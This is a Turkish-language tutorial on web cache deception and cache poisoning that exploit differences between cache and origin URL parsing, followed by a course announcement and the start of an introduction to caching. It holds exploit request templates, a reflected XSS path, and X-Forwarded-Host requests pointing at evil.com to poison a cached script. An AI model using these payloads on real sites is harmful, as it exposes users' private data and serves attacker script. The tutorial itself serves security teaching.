URL Tutarsızlıkları

Cache kurallarını ve hangi endpoint üzerinde işlem yapılıp hangi kaynağa ulaşılmak istenildiği saptayabilmek için kaynak(origin) sunucusunun, yapılan isteğin kesin yolunu(absolute path) hesaplaması gerekiyor. Bunun için URL adresi, delimiter(sınırlayıcı karakter) ve normalizasyon ile ayrıştırılıyor(parsing).

Eğer URL adresini; cache ve uygulama sunucusu farklı şekilde parse ederse, bu tutarsızlık URL’nin anlamını değiştirerek hangi yanıtların tutulduğunu ve bunlara ulaşmak için hangi cache key’lerinin kullanıldığını kontrol etmemizi sağlayabilir.

Delimiters

Popüler olan pek çok framework ve HTTP sunucusu, “sınırlayıcı” karakter yani “delimiter” olarak farklı karakterleri kullanabiliyorlar(URL RFC dokümanları bu konuda serbestlik sunduğu için). Bu durum da, uygulama(kaynak-origin) sunucusu ile önbellekteki ayrıştırıcı arasında path adresi karışıklığına neden olabilir.

Origin delimiters

Uygulama sunucuları ve frameworkler üzerinde kullanılan delimiter karakterlerine örnekler:

• Noktalı virgül: Pek çok Java frameworklerinde olduğu gibi Spring üzerinde de noktalı virgül ; karakteri sınırlayıcı olarak kabul edilir. URL’de yer aldığında mutlak yolun(absolute path) parçası olarak yorumlanmaz.

  URL: /MyAccount;var1=val → Path: /MyAccount

  URL: /hello;var=a/world;var1=b;var2=c → Path: /hello/world

• Nokta: Ruby on Rails üzerinde nokta karakteri sınırlayıcı olarak kullanılabiliyor.

  URL: /MyAccount.html → Path: /MyAccount (default HTML view)

  URL: /MyAccount.css → Path: /MyAccount (CSS view or error if not present)

  URL: /MyAccount.aaaa → Path: /MyAccount (default HTML view)

• Null encoded byte: OpenLiteSpeed HTTP sunucusu null encoded byte karakterini delimiter olarak kabul edip yol buradan itibaren kısaltıyor.

  URL: /MyAccount%00aaa → Path: /MyAccount

• Newline encoded byte: Nginx istek yolunu yeniden yazacak(rewrite the request path) şekilde yapılandırıldığında, kodlanmış yeni satır baytı(encoded newline byte) delimiter olarak kullanılır. Yeniden yazma kuralı, yol adının tamamını değil (Nginx’te yaygın olan) öneki veya URL’yi eşlemelidir.

  Rule: rewrite /user/(.*) /account/$1 break;

  URL: /users/MyAccount%0aaaa → Path: /account/MyAccount

Origin delimiters keşfi

Origin yani hedefteki sunucu tarafında sınırlayıcı(delimiter) karakterin hangisi olduğunu keşfetmek için aşağıdaki gibi basit bir yol izlenebilir:

1- Önbelleğe alınmayan bir istek bulun. Yani POST gibi idempotent olmayan bir http metoduna sahip bir istek veya Cache-Control: no-store veya Cache-Control: private başlığına sahip bir yanıt bulmanız gerek. Bu ilk isteğe R0 yani Request 0 diyelim. Bu istek sayesinde testler sırasında URL içindeki farklı karakterlerin nasıl ele aldığını anlayabileceğimiz standart bir referans noktamız olacak.

ℹ️ Not: HTTP idempotent, aynı isteğin birden fazla kez yapılmasının aynı sonucu doğurmasını ifade eder; yani, isteğin tekrarı yan etkiler yaratmadan aynı yanıtı verir. Örneğin POST PUT DELETE http metotları idempotent değillerdir.

2- Aynı isteği, dizin adresinin sonuna rastgele karakterler ekleyerek tekrar gönderin. Örneğin test ettiğiniz dizin /home ise /homeasdf şeklinde olmayan bir adrese istek atın. Eğer bu istek yani R1 isteği, ilk istek(R0) ile aynı ise bu işlemi farklı endpointler üzerinde tekrar tekrar deneyin. Bu durum adres dizininin kontrol edilmediğine işaret ettiği için hangi noktalarda bu durumun geçerli olduğunu keşfedin. Ayrıştırma işleminin nasıl gerçekleştirildiğini anlayabilmemiz için, dizini kontrol eden bir nokta üzerinde testimize devam etmemiz gerek.

3- R1’deki isteği potansiyel sınırlayıcı(delimiter) olduğunu düşündüğünüz karakterlerle birlikte tekrar gönderin. Yani örneğin /home dizinini test edeceğiniz sınırlayıcı karakter $ işareti ise /home$abcd şeklinde rastgele bir istek gönderin. R2 çıktısını R0 ile kıyasladığınızda aynı ise, bu $ karakterinin delimiter yani sınırlayıcı karakter olarak kullanıldığını teyit edebilirsiniz.

Ayrıca tek seferde birden fazla delimiter karakteri test etmek için burp intruder ya da basit bir script yazıp kullanabilirsiniz. ASCII karakterlerinin de bulunduğu standart ve URL encode edilmiş karakterlerin hepsini test etmeniz gerek. Aşağıdaki wordlist bu konuda yardımcı olabilir:

Ascii-delimiter-wordlist.txt

Cache delimiter keşfi

Önbellek sunucuları sıklıkla ? işareti dışında delimiter karakteri kullanmazlar. Yine de önbellek mekanizması tarafından kabul edilen sınırlayıcı karakteri bulmak için aşağıdaki yaklaşım kullanılabilir:

1- Yanıt zamanı, veya X-Cache: hit gibi ipuçlarından yola çıkarak, isteğimizin önbelleğe alındığı bir nokta bulalım. Bu sayede isteğimizin önbellek mekanizması tarafından işlendiğinden kesin olarak emin olabileceğiz. Bu ilk yani R0 isteğine verilen yanıtı, daha sonraki istekleri karşılaştırırken standart referans noktası olarak kullanacağız.

2- Aynı isteği bu kez aşağıdaki gibi olası delimiter karakteri ve rastgele bir veri ile birlikte tekrar gönderin.

GET /static-endpoint<DELIMITER><Random>

Eğer bu istek ilk istek ile aynı ise, girdiğiniz delimiter karakteri önbellek mekanizması tarafında kullanılıyordur.

Örneğin $’nin sınırlayıcı olarak kullanıldığı durumda aşağıdaki isteklerin hepsi önbellek mekanizması için aynı kabul edilir.

GET /anasayfa
GET /anasayfa$asdf
GET /anasayfa$deneme$metni

Çünkü sınırlayıcı karakter olan $ karakterinden sonraki değerler sınır dışı kabul edilip yok sayılır:

URL: /anasayfa → Path: /anasayfa

URL: /anasayfa$asdf → Path: /anasayfa

URL: /anasayfa$deneme$metni → Path: /anasayfa

Normalization

URL ayrıştırma işlemi hem sunucu hem de cache tarafında çeşitli nedenlerle(hedef endpoint tespiti, cache key üretimi veya doğrulanması vb.) uygulanıyor. Öncelikle, pathname yani yol adının başlangıcını ve sonunu bulmak için path delimiters(yol sınırlayıcılar) tanımlanır. Path adresi elde edildikten sonra varsa karakter kodları(URL encode gibi) çözülür(örn: %61 → a) ve noktalar(../../ gibi) kaldırılır. Sonuçta normalleştirme işlemiyle bu girdi normalize edilmiş olur. Şimdi bu normalleştirme adımları üzerinde biraz daha duralım:

Encodings

Bazen HTTP ayrıştırıcısı yerine uygulama tarafında ayrıştırma yapılması için delimiter karakterinin korunması gerekir. Bunun için de URL encode edilerek delimiter karakterinin değişmeden uygulama tarafına iletilmesini sağlanır.

Nginx, Node, CloudFlare, CloudFront ve Google Cloud da dahil çoğu HTTP sunucusu ve proxy, path yolunu yorumlamadan önce belirli delimiter karakterlerinin decode edilmesini sağlar. İşin kötüsü bu işlem standart değildir. Bu, herhangi bir özel yapılandırma olmasa bile aynı URL’nin en popüler CDN’lerde ve hedef uygulama sunucularında farklı bir anlama sahip olacağı anlamına gelir.

Çünkü RFC standartı, bir isteğin nasıl iletilmesi veya yeniden yazılması gerektiğini konusunda kesinlik belirtmez. Birçok proxy, URL’i decode eder ve bu decode edilmiş mesajı iletir. Böyle bir durum meydana gelirse, bir sonraki ayrıştırıcı da decode edilen karakterleri sınırlayıcı olarak kullanabilir. Yani örneğin bu durumda aşağıdaki istek proxy tarafından alınırsa %3F karakteri soru işareti sembolüne dönüştürülecektir.

"/myAccount%3Fparam" → "/myAccount?param"

Ayrıca farklı cache proxy servisleri üzerinde “URL encoding” dışında diğer encoding türlerinin desteklendiğini de görebilirsiniz. Örneğin Cloudflare ya da Cloudfrount üzerinde özel dönüşümler için konfigürasyonları düzenlemek mümkündür.

Decoding Davranışlarının Tespiti

Girilen verilerin decode işlemine tabi tutulup tutulmadığını test etmek için aşağıdaki gibi standart bir isteğin encode edilmiş versiyonu üzerinden deneme yapabilirsiniz:

/home/index → /%68%6f%6d%65%2f%69%6e%64%65%78

Not: Bazen belirli karakterler decode edilemediğinden(eğik çizgi / veya diğer özel karakterler gibi) her karakteri ayrı ayrı encode etmek faydalı olabilir.

Eğer önbellek tutmayan bir noktada test gerçekleştiriyorsanız ve aldığınız yanıt encode edilmemiş standart yanıt ile aynı ise, hedef sunucunun bu path adresini kullanmadan önce decode işlemi yaptığı anlamına gelir.

İlk standart istek ve yanıtı:

GET /egitim HTTP/2
Host: linuxdersleri.net

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/egitim
Cache-Control: no-store

<html>
<head><title>301 Moved Permanently</title></head>
</html>

URL encode edilmiş ikinci istek ve yanıtı:

GET /%65%67%69%74%69%6d HTTP/2
Host: linuxdersleri.net

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/egitim
Cache-Control: no-store

<html>
<head><title>301 Moved Permanently</title></head>
</html>

Yukarıdaki iki örnek istek, önbelleğe alınmayan yanıtlar sayesinde sunucunun encode edilmiş verileri işlemeden önce decode ettiğini bize kanıtlamış oldu.

Cache Mekanizmasında Test

Eğer önbelleğe alınan bir nokta üzerinde test gerçekleştiriyorsanız, ilk olarak path adresinin cache key olarak kullanılıp kullanılmadığından emin olun. Daha sonra standart path ile istek gönderin. Sonrasında ise bu path adresini encode şekilde tekrar gönderin. Eğer standart path ile encode halindeki path için üretilen yanıtta aynı cache başlıklarını görüyorsanız yani aynı yanıtı alıyorsanız; bu durum ikinci yanıtın cache proxy’den alındığı ve encode haldeki path yolunun cache key kıyaslaması yapılmadan önce decode edildiği anlamına gelir.

Örneğin aşağıdaki isteği iki kez gönderdiğimde /kurs adresinin önbelleğe alındığına dair X-Cache: Hit başlığını yanıtta görebiliyorum.

İlk olarak standart şekilde /kurs adresine iki kez istek atılıyor:

GET /kurs HTTP/2
Host: linuxdersleri.net

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/kurs
X-Served-By: cache-sof1510025-SOF
X-Cache: MISS

GET /kurs HTTP/2
Host: linuxdersleri.net

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/kurs
Via: 1.1 varnish
Age: 210
X-Served-By: cache-sof1510025-SOF
X-Cache: HIT
X-Cache-Hits: 2

/kurs path adresinin önbelleğe alındığını X-Cache: HIT başlığı sayesinde görmüş olduk.

Şimdi /kurs ifadesini URL encode şekilde yani /%6b%75%72%73 şeklinde tekrar gönderip, cache mekanizmasının tepkisine bakalım.

GET /%%6b%75%72%73 HTTP/2
Host: linuxdersleri.net

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/kurs
Via: 1.1 varnish
Age: 177
X-Served-By: cache-sof1510033-SOF
X-Cache: HIT
X-Cache-Hits: 2

Bakın benim test ettiğim noktada, cache mekanizması key kıyaslaması yapmadan önce decode işlemi uyguladığı için /kurs ve /%6b%75%72%73 aynı kabul edilip önbellekten yanıt döndürüldü.

Böylelikle hedef üzerinde, “decode” etme davranışları hakkında görü sahibi olabiliriz.

Nokta Normalizasyonu

RFC standartı, göreli yol belirtmek gibi durumlar için yani /../home gibi URL adresleri için, URL üzerinde bulunan noktaların nasıl ele alınması gerektiği konusunda bir algoritma çözümü sunmuştur. Fakat bu çözüm aslında birçok güvenlik açığının da kaynağıdır.

Önbellek kurallarının davranışlarını değiştirmek ve isteğimize göre cache key elde etmek için nokta işaretinin ele alınışından kaynaklanan ayrıştırma tutarsızlıklarından yararlanabiliriz. Apache ve Nginx gibi popüler HTTP sunucuları bile URL’leri tamamen farklı şekilde ele alır; bu durum da path confusion açığı olmadan aynı önbellek proxy’sini kullanmanın imkansız olduğu anlamına gelir.

Nokta Normalizasyonun Tespiti

Hem hedef sunucu hem de cache mekanizması üzerinde test etmek için benzer yaklaşım kullanılabilir.

Hedef sunucu üzerindeki normalizasyonu görmek için önbelleğe alınmayan bir nokta üzerinde veya önbelleğe alınıyorsa önbellek bozucu bir parametre ile aynı isteği dizin değiştirme(path traversal) yükü ile gönderin.

Önbelleğe alınmayan standart istek:

GET /home/index?cacheBuster

Önbelleğe alınmayan, path traversal işareti bulunan istekler:

GET /aaa/../home/index?cacheBuster 

ya da

GET /aaa\..\home/index?cacheBuster

Eğer path üzerinde bu nokta işaretleri(/../ ya da \..\) normalize ediliyorsa buradaki tüm istekler aslında /home/index?cacheBuster adresine dönüştürülecektir.

Hedef Sunucuda Test

Önbellek bulunmayan endpoint’e isteklerimizi atarak, hedef sunucunun nokta(/../ ya da \..\) karakterlerine normalleştirme uygulama durumunu test edelim:

GET /test HTTP/2
Host: linuxdersleri.net

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/test
Cache-Control: no-store

GET /deneme/../test HTTP/2
Host: linuxdersleri.net

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/test
Cache-Control: no-store

GET /deneme\..\test HTTP/2
Host: linuxdersleri.net

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/test
Cache-Control: no-store

Yanıtlar aynıysa bu, path adresindeki noktaların sunucu tarafında bir kaynakla eşlenmeden önce normalleştirildiği anlamına gelir. Bu normalleştirme, hedef sunucuda veya aradaki bir proxy tarafından istek iletilmeden önce gerçekleşebilir. Her iki durumda da nokta bölümü çözümlenir ve mevcut bir kaynağa referans vermek için kullanılabilir.

Cache Mekanizmasında Test

Cache mekanizması üzerindeki durumu test etmek için, önbelleğe alındığından emin olduğunuz bir endpoint üzerinede aynı şekilde path traversal karakterler(/../ ya da \..\) ile aynı kaynaklara ulaşıp ulaşamadığınıza bakarak bu karakterlerin normalize edilip edilmediğini anlayabilirsiniz.

Öncelikle önbelleğe alındığından emin olduğumuz bir endpoint’e istek atalım:

GET /test HTTP/2
Host: linuxdersleri.net

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/test
X-Cache: HIT

Şimdi path traversal ile aynı noktaya işaret edecek şekilde isteğimizi atalım:

GET /deneme/../test HTTP/2
Host: linuxdersleri.net

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/test
X-Cache: MISS

Eğer cache mekanizması almış olduğu /deneme/../test path adresini normalize ediyor olsaydı /test haline dönüştürüp önceden önbelleğe aldığı yanıtı döndürecekti. Fakat buradaki örnekte cache mekanizması, path traversal karakterlerini normalize etmediğini X-Cache: MISS başlığı ile göstermiş oldu.

Normalizasyon Tutarsızlıkları

Aşağıdaki tabloya bakarak /hello/..%2fworld adresinin farklı HTTP sunucuları ve web cache proxy’leri üzerinde nasıl normalize edildiğini görebilirsiniz.

Resim kaynağı:

HTTP sunucusu ve cache hizmeti üzerindeki bu tutarsızlıkların neden olabileceği zafiyet için web cache deception açıklarına göz atabilirsiniz. Bu konudan bahsederek devam edelim.

Web Cache Deception

Önbellek mekanizması, sunucudan bir yanıt aldığında, bu yanıtın statik olup olmadığına yani saklanıp saklanmaması gerektiğine karar vermesi gerekiyor. Bu kararı da, daha önceden belirlenmiş olan isteğe bağlı özelleştirilebilir kurallar etkiler. Biz de bu bölümde, bir yanıtın önbelleğe alınıp alınmaması gerektiğini belirlemek için kullanılan URL kurallarına odaklanacağız.

Kuralları emellerimize göre kötüye kullanarak; dinamik olan içeriklere erişmemiz yani aslında çoğunlukla diğer kullanıcılara özel olan hassas değişken verilere statik verilermişçesine önbellekten ulaşmamız mümkün olacak.

Limitler

Oluşturduğumuz URL kurbanların tarayıcısı üzerinde kullanılacağı için, URL adresinde yer alan payloadlar yalnızca güvenli URL karakterlerini içermelidir. Çünkü tarayıcılar göndermeden önce encode işlemi yapmazlar.

Kurbanın tarayıcısını, belirli karakterleri encode eden ve URL’deki bazı bölümleri kaldıran bir proxy gibi düşünün. Bu sayede buna uygun URL üretip kurbana göndermek gerektiğinin farkında olursunuz. Zira Burp gibi proxy araçları üzerinden gönderdiğiniz URL ile standart tarayıcılar üzerinden kurban tarafından kullanılanlar aynı olmayacak.

Statik Uzantılılar

Cloudflare ve Akamai gibi CDN’lerin pek çoğu, statik uzantı olarak kabul ettikleri .js .css gibi uzantıları gördükleri bu yanıtları statik olarak kabul edip önbelleğe depolarlar.

Her CDN servisinin hangi uzantıları statik olarak kabul edeceği görmek için bizzat servis dokümanlarına bakmanız yeterli. Örneğin Cloudflare aşağıdakileri statik olarak kabul ediyor:

Resim kaynağı:

Statik Uzantıların Kötüye Kullanımı

Bir karakter hedef sunucu üzerinde delimiter olarak kabul edilip, cache mekanizması üzerinde kabul edilmediğinde bundan faydalanarak sunucu tarafındaki hassas verilerin cache üzerinde depolanmasını sağlayabiliriz.

Örneğin dolar işaretinin sunucu tarafında sınırlayıcı yani delimiter karakteri olarak kullanıldığını ama cache üzerinde delimiter olarak kabul edilmediğini varsayalım. Bu durumda kullanıcının hesap bilgilerini barındıran /myAccount adresindeki verilerin önbelleğe alınması için /myAccount$static.css isteğini göndermemiz yeterli.

Gördüğünüz gibi sonunda .css uzantısı olduğu ve cache mekanizması $ işaretini delimiter olarak kabul etmediği için bu isteğe verilecek yanıt önbelleğe alınacak. Sunucu tarafında ise $ işareti delimiter olarak kabul edildiği için /myAccount adresindeki bilgiler önbellek mekanizmasına yanıt olarak gönderilecek.

Ayrıca bu tekniği encode edilmiş karakter veya dize üzerinden de gerçekleştirebilirsiniz. Bu yaklaşım, hedef sunucunun URL parsing yani ayrıştırma yapmadan önce delimiter karakterlerini decode ettiği durumda ya da cache tarafından bu path yeniden yazılıp yönlendirildiğine kullanılabilir. Örneğin, encode edilmemiş hashtag # sembolü, tarayıcı tarafından gönderilmediğinden önbellek aldatması için işe yaramaz, ancak encode edilmişse istismar için kullanılabilir:

Hedefe uygun benzer yaklaşımları değiştirerek kullanabiliriz. Örneğin eğer aradaki proxy veya load balancer gibi yapılar decode işlemi uyguluyorsa çift encode işlemi ile aradaki yönlendirmeleri sorunsuz kılabiliriz.

Statik Dizinler

Neredeyse tüm CDN hizmetlerinde, dizin altındaki tüm her şeyin önbelleğe alınması gerektiğini belirten statik dizinler tanımlanabiliyor. Bu dizinlere örnekler:

• /static
• /assets
• /wp-content
• /media
• /templates
• /public
• /shared

Bu sayede örneğin /static dizini altındaki tüm dizinlerdeki yanıtlar önbelleğe alınacak denilmiş oluyor.

Statik Dizinleri Delimiter Sayesinde Kötüye Kullanmak

Eğer bir karakter hedef sunucu tarafından delimiter olarak kullanıyor ama cache mekanizmasında kullanılmıyorsa ve cache mekanizması path adresini statik dizin kuralından önce normalize ediyorsa, path traversal karakterlerini delimiter ardında gizleyebilirsiniz:

GET /<Dynamic_Resource><Delimiter><Encoded_Dot_Segment><Static_Directory>

Burada path traversal için nokta bölümünü encode etmek önemli. Aksi halde kurbanın tarayıcısı bu url adresini bozacaktır.

Burada /myAccount$/..%2Fstatic/any isteğini kurban kendi tarayıcısında açtı. Bu url adresi aynen cache mekanizmasına iletildi.

Cache mekanizması almış olduğu /myAccount$/..%2Fstatic/any URL adresini normalleştirerek sunucunun vereceği yanıtı /static/any adresinin önbelleği olarak tutmak üzere bekler.

Sunucu kendisine gelmiş olan /myAccount$/..%2Fstatic/any isteğini $ delimiter karakteri sayesinde /myAccount olarak kabul eder. Bu adresteki hassas bilgileri önbelleğe yanıt olarak döndürür.

Hedefteki cache mekanizmasının URL adreslerini nasıl ve ne koşulda normalize ettiğine göre yaklaşımlar değişiklik gösterebilir. Fakat ilgili çözümlerin dokümantasyonları sayesinde hangi yaklaşımın işe yarayabileceğini öngörebilirsiniz.

Statik Dizinleri Normalizasyon Sayesinde Kötüye Kullanmak

Hedef sunucunun path adresini normalize edip cache mekanizmasının etmediği durumda, path traversal için nokta karakterlerini ekleyerek sunucu tarafında işlenmesini sağlayabiliriz.

GET /<Static_Directory><Encoded_Dot_Segment><Dynamic_Resource>

Cloudflare, Google Cloud ve Fastly varsayılan olarak cache kuralını hesaplamadan önce path adresini normalize etmez. Eğer hedef sunucu Nginx, Microsoft ISS ve OpenListeSpeed gibi normalize ediyorsa buradaki saldırıyı gerçekleştirmek mümkün olabilir.

Microsoft IIS’yi ters slash \ dönüştürmeyen herhangi bir web önbelleğiyle birleştirirken başka bir normalleştirme tutarsızlığı ortaya çıkar. Bu önbellekler encode şekildeki ters eğik çizgileri normal eğik çizgiler olarak yorumlar. Test edilen hiçbir CDN bu dönüşümü tanımadığından, IIS bu tür ürünlerle kullanıldığında saldırıya açıktır.

Statik Dosyalar

/robots.txt, /favicon.ico ve /index.html gibi bazı dosyalar statik bir dizin içinde veya statik olarak kabul edilen bir uzantıda olmayabilirler. Fakat bunlar genellikle sık değişmedikleri için önbellekte tutulmaları için özel kural tanımlanmış olabilir. Bu amaçla, tam dosya yolu ve ismi ile eşleşenlerin önbelleğe alınması kuralı tanımlanmış olabilir. Örneğin CloudFlare gibi CDN’ler varsayılan olarak bu kurala sahiptir ve her zaman robots.txt veya favicon.ico yanıtlarını saklarlar.

Bu durumu kötüye kullanmak için önbellek mekanizmasında normalize etme ve sunucu tarafında da delimiter karakterini dikkate alma durumunda aşağıdaki gibi bir istek gönderilebilir.

GET /<Dynamic_Resource><Delimiter><Encoded_Dot_Segment><Static_File>

Bu sayede önbellek, sunucundan gelen /myAccount yanıtını /robot.txt dizinini ziyaret edenlere sunuyor olacak.

Web Cache Poisoning

Normalde web cache poisoning açığında, hedefteki kullanıcını ilgili spesifik url adresini ziyaret etmesi gerekir. Örneğin /home_paramatere=xss gibi bir adresi ziyaret etmesi gerekir. Bu da zafiyetin etkisini düşüren bir durum. Bunun yerine path confusion ve cache poisoning açıklarını birleştirerek yaygın ziyaret edilen ana sayfa gibi standart sayfaların dahi zehirlenmesini sağlamak mümkün olabilir.

Key Normalization

Bir URL’yi normalize etmek genellikle istenen kaynağın mutlak yolunu elde etmeye yardımcı olan güvenli bir eylem olarak kabul edilir. Ancak, bir önbellek anahtarındaki nokta bölümlerini ve kodlamaları çözümlemek, eğer kaynak sunucu yolu aynı şekilde yorumlamıyorsa, saldırganın rastgele kaynakları zehirlemesine olanak tanıyabilir.

Aşağıdaki saldırıların tümü, önbellek anahtarını oluşturmadan önce URL’nin normalleştirildiğini varsayar. Bu, çoğu CDN’de yapılandırılabilir ve Microsoft Azure ve Imperva’da varsayılan bir davranıştır.

Haritalama Farklılıklarından Yararlanma

Sunucuya ulaşan istek ile sunucu hangi kaynağa erişilmek istendiğini anlamak için mapping denilen haritalama yöntemi ile kaynağın tespitini sağlar.

Hedefteki sunucu özel bir mapping yönetimi kullanmadığında ve yanıtı üretmeden önce path adresini normalize etmediğinde, önbelleğe depolanacak verileri kontrol etmek mümkün olabilir. Bunun klasik bir örneği, var olmayan bir endpoint ziyaret edildiğinde self-reflected XSS’ye sahip olan uygulamalardır.

Aşağıdaki gibi bir istek ve yanıt olduğunu düşünelim:

GET /<script>X</script> HTTP/1.1
Host: server.com

HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: public

Not Found /<script>X</script>

Görüldüğü gibi kötü amaçlı xss yükü URL’nin bir parçası ve önbelleğe alınıp yanıt olarak döndürülüyor. Fakat hedefteki kullanıcı bu spesifik URL adresini ziyaret etmediği sürece bu saldırı işe yaramaz.

Fakat eğer, cache key normalize edilirse, aşağıdaki veri, /home gibi çok ziyaret edilen bir endpoint’i kötü niyetli yanıtla zehirler:

GET /<Backend_Path><Path_Traversal><Poisoned_Path>

Back-end delimiter karakterlerinin kötüye kullanımı

Bir karakter hedef sunucu üzerinde delimiter olarak kullanılırken cache mekanizması üzerinde kullanılmıyorsa, önbelleğe alınabilir kaynak için isteğe bağlı bir anahtar oluşturmak mümkün olabilir.

Burada $ delimiter karakteri, back-end(hedef sunucunun) in /../ çözümlemesini durduracaktır.

GET /<Backend_Path><Delimiter><Path_Traversal><Poisoned_Path>

Front-end delimiter karakterlerinin kötüye kullanımı

Web Cache Deception saldırılarında parsing tutarsızlığına, delimiter karakterinin önbellekte değil yalnızca hedef sunucuda kullanılması neden olur. Tarayıcı aracılığıyla gönderilebilecek, önbellek sunucusu için özel anlamı olan bir karakter bulmak zordur. Ancak web cache poisoning kullanıcı etkileşimi gerektirmediğinden hash # gibi delimiter karakterler yol karışıklığına neden olabilir. Girdideki bölümler HTTP server, CDN ve backend frameworkleri üzerinde farklı şekilde ele alındığı için aşağıdaki gibi bir tablo ortaya çıkıyor:

Bu nedenle, path normalizasyonu yapan ve hash # karakterini delimiter olarak ele alan Microsoft Azure gibi ortamlarda, depolanan kaynağın önbellek anahtarını değiştirmek için bunu kullanmak mümkündür:

GET /<Poisoned_Path><Front-End_Delimiter><Path_Traversal><Backend_Path>

Bu teknik, önbellek tarafından kullanılan herhangi bir sınırlayıcıya uygulanabilir. Tek gereksinim, anahtarın normalleştirilmesi ve sınırlayıcıdan sonraki son ek ile yolun iletilmesidir.

Olası Gerçek Dünya Örnekleri

Örneğin X-Forwarded-Host başlığındaki adresin websitesindeki yönlendirme üzerinde etkili olduğu bir durumu varsaylım:

GET /home HTTP/1.1
Host: server.com
X-Forwarded-Host: evil.com

HTTP/1.1 302 Found
Location: http://evil.com/index.html

Görüldüğü gibi istenilen yönlendirme yapılabilyor fakat bu önbelleğe alınmadığı için diğer kullanıcıların bu isteği yapmasını sağlayamazsınız. Çünkü standart web tarayıcıları üzerinden kullanıcıların XFF başlığını girmesini bekleyemezsiniz. Fakat eğer cache key ile backend tarafındaki parser üzerinde şimdiye kadar ele aldığımız gibi bir uyumsuzluk varsa bu isteğin önbelleğe alınmasını sağlamak mümkün olabilir.

Örneğin eğer ilgili websitesi ana sayfasında main.js isimli bir script dosyasını yüklüyorsa, bu dosya konumunu zehirleyerek ana sayfa üzerinde istediğimiz script kodunu çalıştırabiliiriz.

Bunun için aşağıdaki gibi bir istek gönderebiliriz:

GET /main.js#/../home HTTP/1.1
Host: server.com
X-Forwarded-Host: evil.com

Bu isteği alan cache mekanizması # delimiter karakteri dolayısıyla yalnızca main.js kısmını önbelleğe alacak. Sunucu ise kendisine iletilen bu istekteki path traversal karakteri dolayısıyla /home dizininin içeriğini önbellek sunucusuna yanıt olarak dönecek. Ve aşağıdaki gibi bir yanıt ortaya çıkacak:

HTTP/1.1 302 Found
Location: http://evil.com/home.html

Bu sayede aslında kullanıcı ana sayfayı ziyaret ettiğinde önbellekten main.js dosyası çağırılarak bizim zehirlemiş olduğumuz önbellek dolayısıyla evil.com adresindeki içerik çekilecek. Bu aşamada dilediğimiz javascript kodunu çalıştırmamız mümkün.

Ayrıca aşağıdaki gibi yönlendirme yapılan bir diğer senaryoda:

GET /redirect?somePage HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: evil.com

HTTP/1.1 302 Found
Location: http://evil.com/somePage
Cache-Control: public, max-age=3600

Herhangi bir statik uzantılı dizini zehirlememize gerek kalmadan benzer metot ile isteğimiz dizinden, istediğimiz herhangi bir dizini zehirlememiz de mümkün olabilir.

Kaynakça ve İleri Okuma

• Gotta cache ‘em all: bending the rules of web cache exploitation

Eğitimin Hedef ve Amacı

En kısa sürede temel bilgilerden başlayıp sistem programlamayı ve Linux çekirdek programlamayı öğretmek.

Eğitimin Verileceği Ortam

Eğitim meet.jit.si üzerinden verilip eğitim videoları Youtube üzerinde yayınlanacak. youtube.com/@masscollaborationlabs

Eğitimin 1 yıl içinde( tüm kurslar) tamamlanması planlanıyor. İlk olarak Git ortamında yazılı kaynaklar üzerinden ilerlenip, ileride videolar üzerinden devam edilecektir.

Eğitimde Referans Alınan Dokümanlar

• GitHub
• GitLab
• SourceHut
• Disroot
• Codeberg
• Truvalinux

İletişim Adresi

Daha fazla bilgi almak veya sorularınızı iletmek için aşağıdaki kanalları kullanabilirsiniz:

E-Posta: mertgor[at]procyberian.xyz

GPG Key: 0xD5A31B8B1A6F02BC

Telegram Guruba Katılmak İçin: t.me/masscollabs

masscollabs

Önbelleğe Almaya Giriş

Önbellek zehirlenmesi(Cache poisoning) konusunu anlamak için temelde web önbellek(cache) mekanizmasının nasıl çalıştığını bilmemiz gerek.

Web önbelleği, uygulama sunucusu ile kullanıcı arasında yer alır. Bu sayede belirli yanıtların kopyalarını kaydedip, gerektiğinde uygulama sunucusuna gitmeden kullanıcılara bu yanıt kopyaları sunabilirler. Örnek olarak aşağıdaki diyagramda aynı kaynağa erişmeye çalışan üç kullanıcı bulunuyor.

Diyagram üzerinden de görebildiğiniz gibi bu yaklaşım sayesinde, aynı istek için her defasında uygulama sunucusu ile iletişime geçip meşguliyet yaratmaya gerek kalmaz. Önbellek yaklaşımı sayesinde, gecikmeyi azaltarak sayfa yüklemelerini hızlandırmak ve ayrıca uygulama sunucusundaki yükü azaltmak mümkün olur. Peki önbellek mekanizmaları nasıl sağlanır ?

Bazı şirketler Varnish gibi yazılımları kullanarak kendi önbelleklerini barındırırken diğerleri, önbelleklerin coğrafi konumlara dağıldığı Cloudflare gibi bir Content Delivery Network (CDN) yani İçerik Dağıtım Ağı’na güvenmeyi tercih eder. Bu sayede global ölçekte kullanıcılara en yakın önbellek sunucuları üzerinden ilgili yanıt hızla dönülebilir.

Ayrıca bu yaklaşımlar dışında Drupal gibi bazı popüler web uygulamalar ve frameworkler de zaten halihazırda yerleşik bir önbelleğe sahiptir. Bu sayede uygulama sunucusunun her defasında ilgili yanıtı sıfırdan işlemesine gereken kalmadan yanıt döndürülebilir.

ℹ️ Not: İstemci tarafında depolanan tarayıcı önbellekleri ve DNS önbellekleri gibi başka önbellek türleri de mevcut lakin bunlar bu araştırmanın odak noktası olmadığı için bunları şimdilik es geçebiliriz.

Önbellek anahtarları | Cache keys

Peki hangi istekler önbellekte tutulur ? Neticede tüm istekler önbelleğe alınmayacağına göre hangi isteklerin seçileceğine nasıl karar verilir ?

